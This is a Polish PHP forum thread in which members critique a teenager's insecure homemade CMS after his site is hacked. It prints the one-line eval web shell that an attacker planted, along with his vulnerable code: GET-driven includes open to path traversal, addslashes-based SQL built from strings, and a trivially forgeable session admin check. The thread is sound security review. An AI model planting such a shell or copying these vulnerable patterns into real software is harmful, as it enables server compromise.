Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: [skrypt/www] Ocena skryptu własnego CMS
Forum PHP.pl > Inne > Oceny
Stron: 1, 2, 3, 4
materkamil
Na pewno go jeszcze poprawię i przepiszę ale czy możecie mi powiedzieć chociaż o co chodzi z tym atakiem, stworzeniem pliku i uprawnieniami? Jakim cudem ktoś stworzył plik php na moim serwerze? Prawa do pliku były o ile pamiętam 755. Jedyne dane jakie przesyłają się do skryptu to id
usb2.0
skoro masz z tym problemy to proszę zmień tą "stopke"?
Cytat
Strona o bezpieczeństwie komputerowym


i ogólnie zamiast się posłuchać doświadczonych brniesz w nie wiadomo co, opierasz cms na plikach co to ma być?ohmy.gif nawet znikomego mv nie mozna sie dopatrzeć
moja rada jest taka weź się solidnie za naukę i pochwal się dopiero czymś co będzie miało "ręce i nogi"
materkamil
Ten CMS to dopiero przymiarka. Oczywiście napiszę drugiego, porządnego ale chcę widzieć jakie błędy są w tym. A właśnie jakiś jest i to poważny o którym chce się właśnie dowiedzieć

Edit: Myśle że drugi cms napisze obiektowo. Zobacze co z tego wyniknie
!*!
Cały ten "CMS" to jeden wielki błąd. Nie rozumiesz tego? Cały kod jaki napisałeś, pozwala na wszytko i jeszcze więcej, bo nie użyłeś żadnych zabezpieczeń, a jak już to zrobiłeś to źle, więc czego Ty chcesz teraz? Wskazaliśmy co jest nie tak i nadal nie rozumiesz? wszystkie 154 linijki tego co napisałeś, było podatne na atak, mamy Ci wkleić tu Twój własny kod? Bez przesady...

Cytat
Edit: Myśle że drugi cms napisze obiektowo.


Nie znasz podstaw PHP, a chcesz się za OOP brać?
materkamil
Możesz podać przykład tego ataku?

edit: a może to było przy strip_tagsach? Jeśli ustawiłem źle uprawnienia to może jakimś cudem nadpisał plik txt, przez co zmienił sprawdzanie w tablicy i warunek if był spełniony. Dzięki temu wykonał kod PHP?

edit2: Jak mam nauczyć się podstaw PHP jak już umię. Nie wiem dlaczego nie napisałem tego CMS obiektowo. Oczywiście w następnej bezpiecznej wersji wprowadzę obiekty, nie będzie plików txt tylko baza danych.
pyro
Cytat(materkamil @ 20.06.2012, 07:56:20 ) *
Jak mam nauczyć się podstaw PHP jak już umię. Nie wiem dlaczego nie napisałem tego CMS obiektowo. Oczywiście w następnej bezpiecznej wersji wprowadzę obiekty, nie będzie plików txt tylko baza danych.


Najpierw proponuję nauczyć się podstaw języka polskiego. Jak sam nie wiesz czemu nie napisałeś tego "CMSa" obiektowo to nikt z użytkowników też nie wie (chociaż ja podejrzewam brak umiejętności). Ja jeszcze dodatkowo nie wiem czemu zamiast bazy danych korzystałeś z plików tekstowych. Używanie relacyjnych baz danych zamiast pierwszych z wymienionych ma same plusy i zero minusów. Proponuję na początek podjąć się jakiegoś łatwiejszego zadania, np. napisanie strony w PHP.
!*!
Cytat
Możesz podać przykład tego ataku?

Nie, bo niby skąd mam wiedzieć jaki to był? Jest ich dużo i większość by pasowała, poszukaj ich w google, są lepiej opisane, niż wypociny kogokolwiek tu na forum.

Cytat
Jak mam nauczyć się podstaw PHP jak już umię.

12 latek nie umie PHP, 12 latek umie zapisać plik z rozszerzeniem *.php ale nic ponad to.
Przestań się przy tym upierać.

Cytat
Używanie relacyjnych baz danych zamiast pierwszych z wymienionych ma same plusy i zero minusów.

Minusami mogą być też ataki jak tego nie zabezpieczy biggrin.gif
pyro
Cytat(!*! @ 20.06.2012, 10:33:41 ) *
Minusami mogą być też ataki jak tego nie zabezpieczy biggrin.gif



...

A plików tekstowych to niby nie można atakować? To nie jest żaden minus.
materkamil
Cytat
12 latek nie umie


Od dawna nikt mi nie powiedział "12 latek". Na prawdę. Jak już tak chcecie widzieć to mam 16 lat.

Pierwsze projekt zakładał bazę danych jednak zrezygnowałem z tego rozwiązania z powodu tego że praktycznie były tam 2 dane - login i hasło. Nic poza tym. Do tego zakładam prostotę CMSa - nie każdy w ogóle wie co to jest baza, a tym bardziej jak się z nią połączyć.

Cytat
Nie, bo niby skąd mam wiedzieć jaki to był? Jest ich dużo i większość by pasowała, poszukaj ich w google, są lepiej opisane, niż wypociny kogokolwiek tu na forum.


Chociaż jeden link proszę.

Cytat
zapisać plik z rozszerzeniem *.php ale nic ponad to.


To żart prawda?

Cytat
A plików tekstowych to niby nie można atakować?


Też poproszę o chociaż jeden link
!*!
Cytat
To żart prawda?

Nie. Twoje wszystkie skrypty są na poziomie przepisania "hello world" z kursu i to w dodatku z błędem, dlatego nie można powiedzieć ze coś potrafisz, po za ich zapisaniem do pliku.

Cytat
Chociaż jeden link proszę.
Też poproszę o chociaż jeden link


Link + metody ataku php

Cytat
Pierwsze projekt zakładał bazę danych jednak zrezygnowałem z tego rozwiązania z powodu tego że praktycznie były tam 2 dane - login i hasło. Nic poza tym. Do tego zakładam prostotę CMSa - nie każdy w ogóle wie co to jest baza, a tym bardziej jak się z nią połączyć.

A artykuły to niby gdzie masz trzymać? Logiczne że w bazie danych a nie plikach, jest rok 2012, a nie 1990. Klienta końcowego nie obchodzi to czy jest na plikach czy bazie, bo od tego jest CMS aby odwalać z automatu większość rzeczy. CMS na plikach jest skazany na porażkę, nawet gdyby Ci go napisał sam Bill G, a wypromował duch S. Jobsa.
pyro
Cytat(materkamil @ 20.06.2012, 16:01:33 ) *
Też poproszę o chociaż jeden link


uw-team.org, tylko następnym razem sobie sam poszukaj.
materkamil
uw-team? Znam to. Ale ten sposób "ataków" i te całe jego wideo to jedynie ucinek tego co oferuje wpisanie w google ataki na php. Więc te jego metody znam wszystkie i jeszcze więcej.

Co do wypowiedzi poniżej - już dał mi ktoś link do tej stronki (google) więc wolałbym coś innego tongue.gif
greycoffey
Cytat(materkamil @ 20.06.2012, 16:35:08 ) *
Więc te jego metody znam wszystkie i jeszcze więcej.

Miszczu ty mój!
Cytat(materkamil)
Jak już tak chcecie widzieć to mam 16 lat.

Nie słychać.
  1. SELECT admin_login,admin_pass FROM admin_pass WHERE admin_id=1

Świetne podejście, po co komu dwóch administratorów CMSie. Nie potrafisz użyć bazy danych.
materkamil
Z CMS zrobiło się udowadnianie mojego wieku tongue.gif

Przejdźmy do rzeczy. Czy po wpisaniu do zmiennej ID wszystko jedno czego oprócz treści zawartej w tablicy i pliku txt wyświetli się błąd? Bo wg. mnie tak.

Z tego co wiem aby utworzyć plik na serwerze włamywacz użył dwóch funkcji - eval() i system() - tylko gdzie je wpisał? Jedynie można je wpisać w id gdzie przecież jest filtrowanie
Daiquiri
materkamil, trochę pokory i przede wszystkim szacunku dla tych, którzy poświęcają swój czas na wytknięcie Ci masy błędów - zamiast napisać "daj sobie spokój" lub "zapoznaj się z podstawami, zanim zaczniesz pisać". Szczerze powiedziawszy podziwiam piszących tutaj, że są tak opanowani. Najpierw prosisz o ocenę, a potem stwierdzasz, że Twój kod jest "cacy", no litości smile.gif.

Wierz w to lub nie, wnioskując po poziomie Twojego kodu, dopiero co zaczynasz swoją przygodę z PHP. Wiem, że wydaje Ci się, że podstawy masz już daleko za sobą, ale z przykrością stwierdzam, że tak nie jest.

Podsumowując, zrewiduj proszę swoje podejście do tego tematu i uwag, jakie w nim otrzymujesz.
materkamil
Wiem że kod jest jeszcze bardzo "zmasakrowany" ale zależy mi głównie jedynie na jednej odpowiedzi:

Cytat
Czy po wpisaniu do zmiennej ID wszystko jedno czego oprócz treści zawartej w tablicy i pliku txt wyświetli się błąd? Bo wg. mnie tak.

Z tego co wiem aby utworzyć plik na serwerze włamywacz użył dwóch funkcji - eval() i system() - tylko gdzie je wpisał? Jedynie można je wpisać w id gdzie przecież jest filtrowanie


Bo właśnie nie wiem jakim cudem stworzono plik z wykorzystaniem zmiennej ID
Niktoś
Najwidoczniej było słabo filtrowane;
materkamil
Ogólny schemat:

  1. $x = fread($otwarty,filesize("nazwa.txt"));
  2. $array = explode("|",$x); // Zapisanie tego z pliku do tablicy. Będą tu nazwy kategorii
  3.  
  4. //Teraz id
  5.  
  6. if($_GET["id"] == $array[0]) {
  7. include($_GET["id"].".txt");
  8. }
  9. else
  10. {
  11. }


Id nie było wykorzystywane nigdzie, jedynie do warunku if. Jedyne dane jakie można przesłać do strony to właśnie dzięki ID. I to właśnie dzięki temu nastąpił atak. Gdzie tu jest błąd w ogólnym założeniu działania?
Niktoś
Wystarczy spreparować plik o takiej samej nazwie.
materkamil
Ale jak przesłać taki utworzony plik na mój serwer lub go utworzyć?

W ogóle nie była utworzona taka kategoria, jak nazwa tego (fi.php)

  1. <?
  2. eval($_POST[txt]);
  3. ?>


Jakim cudem takie coś znalazło się na moim serwerze?

Niktoś, możesz coś więcej o tym powiedzieć

Cytat
Wystarczy spreparować plik o takiej samej nazwie.


Plik o tej samej nazwie? Ale jak go przesłać. Do tego już istnieje taki plik
Niktoś
Nie wiem ,może curlem to przesłał, może da rady to zrobić bezpośrednio w przeglądarce.
Jedno wiem,że ten schemtat co pokazałeś wyżej, wogóle nie jest zabezpieczony.
Nawet nie sprawdzasz skąd otwierany plik pochodzi.
Gdzie masz sprawdzanie typu mime i rozszerzeń?Include do plików to zły pomysł,może i najgorszy- do tego służy fopen.
materkamil
Napisałem taki ogólnie schemat. Dokładnie jest tak:

  1. include('strona/'.$_GET["strony"].''.txt);


więc ogranicza się to do katalogu strona. Dodam że plik nie był jednak w tym katalogu lecz w głównym katalogu skryptu
!*!
A zapoznałeś się z kodem jaki dał Ci rocktech.pl myślę że coś może być na rzeczy. Poza tym, dlaczego uważasz że to się ogranicza tylko do katalogu? Zauważ że tam można wpisać wszytko.
phpion
Cytat(materkamil @ 20.06.2012, 18:42:25 ) *
Napisałem taki ogólnie schemat. Dokładnie jest tak:

  1. include('strona/'.$_GET["strony"].''.txt);


więc ogranicza się to do katalogu strona. Dodam że plik nie był jednak w tym katalogu lecz w głównym katalogu skryptu

Nic bardziej mylnego. Przy założeniu, że $_GET['strony'] to np. "blah" masz rację. Będzie to strona/blah.txt. Jednak jeśli będzie to "../blah" to spróbuje wczytać plik nie z katalogu strona, ale z katalogu wyżej.
materkamil
Nie wiem czy kod rocktecha.pl coś tu da, bo przecież aby coś wykonać na skrypcie trzeba mieć sesję. A sesję dostaje się tylko przez logowanie. Przy wysłaniu takiego czegoś jak rocktech.pl pojawi się po prostu komunikat o braku dostępu i prośbie o zalogowanie się.

Do tego żadne dane i nic innego nie było zmienione. Wszystko praktycznie ok tylko plik nowy.

Nie, nie można wpisać wszystko. Jak wpiszesz np: krowa to wyświetli ci błąd na sprawdzaniu if. Można tam jedynie wpisać to co jest w tabeli (jedno słowo praktycznie)

edit; @up - tak, można wyjść z katalogu ale operując na moim serwerze, bez zewnętrznych odwołań do http które w braku /katalog było by możliwe
!*!
Cytat
Nie, nie można wpisać wszystko. Jak wpiszesz np: krowa to wyświetli ci błąd na sprawdzaniu if. Można tam jedynie wpisać to co jest w tabeli (jedno słowo praktycznie)


To wyczerpuje temat. Można zamknąć.
materkamil
Czyli co zrobić? Do id władować htmlspecialchars?

PS: Tematu jeszcze nie zamykajcie bo za niedługo jak napiszę piękny (z <?php smile.gif ) drugi CMS poprawkowy to wtedy zerkniecie na kod
!*!
Cytat
Czyli co zrobić? Do id władować htmlspecialchars?

Nie, wystarczy jak zmienisz sposób wczytywania plików. Pobierz GET, wrzuć to do switch i sprawdzaj po nazwie. Oczywiście wcześniej GET przefiltruj czymś, trim, preg_mach strlen basename czymkolwiek.
materkamil
Ok, przefiltruję. Ale teraz jeszcze takie jedno na boku pytanie. Po co?
Przecież te dane nigdzie nie idą i tylko sprawdzają się na ifie?

PS: Oczywiście użyję filtrowania preg_match

!*!
Właśnie po to żeby Ci nikt serwisów z serwera nie kasował, wgrywając swoje pliki czy zmieniając Twoje.
Niktoś
Na początek proponuję ten artykuł-bo bezpośrednio Ciebie dotyczy.
http://www.pomocnikwebmastera.pl/bezpiecze...a-pasku-adresu/

Dodatkowo sprawdzaj typ mime pliku ,który wczytujesz, oraz za pomocą $_server porównuj ściężki plików skąd zostały wczytane.

Trochę nudno się powtarzać.
materkamil
!*! - wgrywając swoje pliki??

Proszę powiedz co masz na myśli i jak da się wgrać swój plik na serwer poprzez id?

Niktoś: ten artykuł nie pasuje do mnie bo tam jest bezpośrednie includowanie

include($_GET["id"]);

a takiego czegoś bym w życiu nie zrobił.

Czyli ten if nie działa jak preg_match?questionmark.gif
!*!
Cytat
Dodatkowo sprawdzaj typ mime pliku ,który wczytujesz, oraz za pomocą $_server porównuj ściężki plików skąd zostały wczytane.


O ile zmienna GET, będzie jednocześnie nazwą pliku (co już jest błędem), w innych przypadkach to olej.

Cytat
Niktoś: ten artykuł nie pasuje do mnie bo tam jest bezpośrednie includowanie

include($_GET["id"]);

a takiego czegoś bym w życiu nie zrobił.


Dziwne, bo zrobiłeś dokładnie to samo.

Cytat
Czyli ten if nie działa jak preg_match?

A kto Ci takich bzdur naopowiadał?
materkamil
No bo preg_match może sprawdzać np: pod kątem cyfr i znaków specjalnych. Jeśli zmienna je posiada to jest błąd.

A ten if? Też sprawdza. No bo przecież nie wykona się includowanie jak GET będzie miał znaki specjalne i cyfry bo przecież sprawdza się na ifie.

I jeszcze jedno. Możesz powiedzieć jak przy takim includowaniu można stworzyć własny plik? Bez odwołania do innego serwera
!*!
Kończę, wszystko już zostało powiedziane, nawet dwa razy, przeanalizuj temat.
materkamil
Napisałem kod drugi raz. Zastosowałem się do rad, użyłem ' zamiast ", zastosowałem nie pliki tekstowe tylko bazę danych i dokładniej sprawdzanie danych. Oto kod:

http://wrzucacz.pl/file/2971340312059

W środku jest paczka do bazy danych. Strona ta jest zamieszczona tu:

http://www.materdefense.hostzi.com/matercmsv2

Jak by ktoś chciał ją przetestować w działaniu. Czy teraz skrypt jest bezpieczny? Co o tym sądzicie?

Edit: Na razie nie zwracajcie uwagę na kodowanie, jutro to naprawię
!*!
Cytat(materkamil @ 21.06.2012, 22:55:46 ) *
Czy teraz skrypt jest bezpieczny? Co o tym sądzicie?

Nie.


  1. if(preg_match('/^[0-9a-z_]{1,25}$/',$_GET['id'])) {
  2. if($_GET['id'] == $kategorie['1'] || $_GET['id'] == $kategorie['2'] || $_GET['id'] == $kategorie['3'] || $_GET['id'] == $kategorie['4'] || $_GET['id'] == $kategorie['5']) {
  3. include('kategorie/'.$_GET['id'].'.txt');
  4. }
  5. else
  6. {
  7. include('kategorie/'.$kategorie['1'].'.txt');
  8. }
  9. }
  10. else
  11. {
  12. include('kategorie/'.$kategorie['1'].'.txt');
  13. }


Sprawdzanie tych id nadal powala... po co GET ma być nazwą pliku? Masz bazę, to z niej korzystaj.

  1. if($pasekboczny['wartosc'] == 'tak') { // Nadawanie wartoœci tabeli bez paska i z paskiem
  2. $pasekboczny_spr = 627;
  3. } else
  4. {
  5. $pasekboczny_spr = 920;
  6. }


Co to jest?

  1. $login = addslashes($_POST['login']);
  2. $haslo = addslashes($_POST['haslo']);
  3. $ip = $_SERVER['REMOTE_ADDR'];
  4.  
  5. mysql_query("INSERT INTO logi SET login='$login', haslo='$haslo', ip='$ip'");


Niczego tu nie sprawdzasz? mysql_* nie jest bezpieczny sam w sobie, wycofują go zresztą, użyj PDO.

  1. if($_SESSION['logowanie'] == 2) {

Czyli wystarczy utworzyć sesje i już jestem w panelu? Fajnie.


  1. if(isset($_POST['k1']) && isset($_POST['k2']) && isset($_POST['k3']) && isset($_POST['k4']) && isset($_POST['k5'])) {
  2.  
  3. $k1 = addslashes($_POST['k1']);
  4. $k2 = addslashes($_POST['k2']);
  5. $k3 = addslashes($_POST['k3']);
  6. $k4 = addslashes($_POST['k4']);
  7. $k5 = addslashes($_POST['k5']);
  8. $q = 'UPDATE kategorie SET k1=\''.$k1.'\', k2=\''.$k2.'\', k3=\''.$k3.'\', k4=\''.$k4.'\', k5=\''.$k5.'\' WHERE id=1';
  9. echo('<c><center>Polecenie wydane do bazy danych: <br>'.$q.'</center></c>');
  10. // Tworzenie plików kategorii
  11.  
  12. $k1 = fopen('../kategorie/'.$k1.'.txt','w');
  13. fwrite($k1,'Utworzono kategorię');
  14.  
  15. $k2 = fopen('../kategorie/'.$k2.'.txt','w');
  16. fwrite($k2,'Utworzono kategorię');
  17.  
  18. $k3 = fopen('../kategorie/'.$k3.'.txt','w');
  19. fwrite($k3,'Utworzono kategorię');
  20.  
  21. $k4 = fopen('../kategorie/'.$k4.'.txt','w');
  22. fwrite($k4,'Utworzono kategorię');
  23.  
  24. $k5 = fopen('../kategorie/'.$k5.'.txt','w');
  25. fwrite($k5,'Utworzono kategorię');
  26. }
  27.  
  28. if(isset($_POST['kasuj']) && $_POST['kasuj'] == 'tak') {
  29. $w = 'SELECT * from kategorie WHERE id=1';
  30. $query = mysql_query($w); // Wyciągnięcie nazwy kategorii
  31. $tresc = mysql_fetch_array($query); // Zapisanie nazw do tablicy
  32.  
  33. $kategorii = 5;
  34. while($kategorii > 0) { // Pętla kasująca 5 plików kategorii
  35. unlink('../kategorie/'.$tresc[$kategorii].'.txt');
  36. $kategorii = $kategorii-1;
  37. }
  38.  
  39. } // Koniec


To przy optymalności nawet nie stoi i nie wymaga komentarza, może inni.
greycoffey
Cytat(!*! @ 21.06.2012, 23:22:09 ) *
  1. $login = addslashes($_POST['login']);
  2. $haslo = addslashes($_POST['haslo']);
  3. $ip = $_SERVER['REMOTE_ADDR'];
  4.  
  5. mysql_query("INSERT INTO logi SET login='$login', haslo='$haslo', ip='$ip'");

Niczego tu nie sprawdzasz? mysql_* nie jest bezpieczny sam w sobie, wycofują go zresztą, użyj PDO.

Powiedz mi, czemu mysql_* nie jest bezpieczne? Czy PDO, MySQLi i mysql_* to nie jest tylko interfejs dla wywoływania komend SQL.

Cytat(!*! @ 21.06.2012, 23:22:09 ) *
  1. if($_SESSION['logowanie'] == 2) {

Czyli wystarczy utworzyć sesje i już jestem w panelu? Fajnie.

A jak to powinno być rozwiązane, jeśli nie przez sesje? Owszem, podatne jest to na CSRF oraz prawdopodobnie Session Poisoning (shared hostng, ustwaiamy id sesji oraz zmienną sesyjną logowanie=2).
!*!
Cytat
Powiedz mi, czemu mysql_* nie jest bezpieczne? Czy PDO, MySQLi i mysql_* to nie jest tylko interfejs dla wywoływania komend SQL.

Bindowanie PDO, z góry narzuca dane jakie mają być wysłane do bazy i samemu je sobie dokleja do zapytania. mysql* robi to ręcznie, tak jak My zbudujemy zapytanie. Twoim zdaniem kod, wyżej jest zabezpieczony?

Cytat
A jak to powinno być rozwiązane, jeśli nie przez sesje? Owszem, podatne jest to na CSRF oraz prawdopodobnie Session Poisoning (shared hostng, ustwaiamy id sesji oraz zmienną sesyjną logowanie=2).

Brakuje chociażby kilku dodatkowych warunków do sprawdzenia, ip, uu i sprawdzenie czasu.
greycoffey
Cytat(!*! @ 21.06.2012, 23:32:18 ) *
Bindowanie PDO, z góry narzuca dane jakie mają być wysłane do bazy i samemu je sobie dokleja do zapytania. mysql* robi to ręcznie, tak jak My zbudujemy zapytanie. Twoim zdaniem kod, wyżej jest zabezpieczony?

Co nie zmienia faktu, że nie jest niebezpieczny, a jak ktoś chce, to nawet w PDO nie będzie używał bindowania.
Cytat(!*! @ 21.06.2012, 23:32:18 ) *
Brakuje chociażby kilku dodatkowych warunków do sprawdzenia, ip, uu i sprawdzenie czasu.

Co jeśli mam zmienne IP? UU - chodziło o user-agent? Jeśli tak to prawda. Czas - chodzi o wygaśnięcie sesji czy coś innego?
!*!
Cytat
PDO nie będzie używał bindowania.

To znaczy że jest złym człowiekiem, albo wie co robi.

A Ty przypadkiem nie piszesz z multi konta?

Cytat
Co jeśli mam zmienne IP

IP nie zmienia się w trakcie połączenia. Tak user agent i czas wygaśniecia, np. sesja trwa 15min jak więcej > wylogowanie.
greycoffey
Cytat(!*! @ 21.06.2012, 23:40:52 ) *
A Ty przypadkiem nie piszesz z multi konta?

Skąd takie podejrzenia?

Cytat(!*! @ 21.06.2012, 23:40:52 ) *
IP nie zmienia się w trakcie połączenia. Tak user agent i czas wygaśniecia, np. sesja trwa 15min jak więcej > wylogowanie.

Być może z tym IP wtopa. Co do 15min trwania sesji, chodziło chyba od ostatniej akcji, nie od rozpoczęcia jej?
materkamil
Co do CSRF, jest to podatne, jednak trzeba się znać żeby to przeprowadzić bo ważniejsze dane przekazywane są postem więc tutaj aby to rozwalić trzeba użyć biblioteki curl.

Z session poisoning to nie za bardzo wiem jak zrobić aby zabezpieczyć to tak globalnie. Najlepiej jest zmienić wartość sesji z 2 na jakąś unikalną nazwę jednak tak powiem ja i inni znający PHP. Zwykły człowiek raczej nie zrobi takiego czegoś.

Co do pasek boczny i te dwie liczby 920 i 767 - jest to wymiar tabeli. Jeśli jest pasek boczny włączony - tabela ma 727, jeśli nie to 920
!*!
Cytat
Z session poisoning to nie za bardzo wiem jak zrobić aby zabezpieczyć to tak globalnie. Najlepiej jest zmienić wartość sesji z 2 na jakąś unikalną nazwę jednak tak powiem ja i inni znający PHP. Zwykły człowiek raczej nie zrobi takiego czegoś.


Ale ktoś kto chce Ci rozwalić stronę, skasować czy wykraść dane, to nie zwykły człowiek.

Cytat
Co do pasek boczny i te dwie liczby 920 i 767 - jest to wymiar tabeli. Jeśli jest pasek boczny włączony - tabela ma 727, jeśli nie to 920

Takie rzeczy to sie w CSS robi.
pyro
Cytat(materkamil @ 22.06.2012, 14:36:16 ) *
Co do CSRF, jest to podatne, jednak trzeba się znać żeby to przeprowadzić bo ważniejsze dane przekazywane są postem więc tutaj aby to rozwalić trzeba użyć biblioteki curl.


Nie, nie trzeba.

Cytat(materkamil @ 22.06.2012, 14:36:16 ) *
Z session poisoning to nie za bardzo wiem jak zrobić aby zabezpieczyć to tak globalnie. Najlepiej jest zmienić wartość sesji z 2 na jakąś unikalną nazwę jednak tak powiem ja i inni znający PHP. Zwykły człowiek raczej nie zrobi takiego czegoś.


Zatruwać sesje może sobie każdy, kto ma dostęp do plików sesji.

Tak teraz sobie patrzę na Twój podpis:
Cytat
Strona o bezpieczeństwie komputerowym
http://www.materdefense.hostzi.com


Jak Ty chcesz prowadzić stronę o bezpieczeństwie komputerowym, skoro nie masz o tym najmniejszego pojęcia?
usb2.0
Cytat
Dlatego w średnim stopniu znam JavaScript, SQL, HTML oraz PHP.


też bym tak chciał..

no będzie że się czepiam ale POKORY troche więcej okaż bo naprawdę takiego cocky "znawcy" dawno nie widziałem.
Posio
Ostatnimi czasy nie musze czytać dowcipów, wystarcza mi ten temat na forum ...
KamilOniszczuk
  1. CREATE TABLE `kategorie` (
  2. `id` int(11) NOT NULL AUTO_INCREMENT,
  3. `k1` text NOT NULL,
  4. `k2` text NOT NULL,
  5. `k3` text NOT NULL,
  6. `k4` text NOT NULL,
  7. `k5` text NOT NULL,
  8. PRIMARY KEY (`id`)
  9. ) TYPE=MyISAM AUTO_INCREMENT=2 ;





Czyli mogę mieć tylko 5 kategorii ?

PS: nie lepiej było zrobić tak, że każdy rekord to kategoria ?
ciekawskiii
Cytat
if($_GET['id'] == $kategorie['1'] || $_GET['id'] == $kategorie['2'] || $_GET['id'] == $kategorie['3'] || $_GET['id'] == $kategorie['4'] || $_GET['id'] == $kategorie['5']) {
a slyszal o in_array() ? lub petli? lub wieksze mniejsze <>? o int? jesli id to cyfra? o... jesli nie cyfra to id tu nie pasuje...

Ostatnio jakas moda na cmsy weszla tak jak dawniej na fora i gry... kazdy musial miec swoje...

p.s. fajnie ze sie uczysz itd.. ale ogladalem Twoja jedna lekcje kursu na yt to sie troche posmialem, moze najpierw sam sie troche z php zapoznaj a pozniej ucz innych, bez urazy
Posio
Drodzy użytkownicy forum. Musicie wziąć pod uwagę jedną ważną kwestię!.

Chłopak stara się robić coś dla swoich rówieśników bo ich WYPRZEDZA ! - Bezpieczeństwo dla 13 latka a osoby dorosłej to 2 różne rzeczy.



btw. Jest odważny jak cholera, ja z głosem przed mutacją bałem się wejść na TS'a.
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.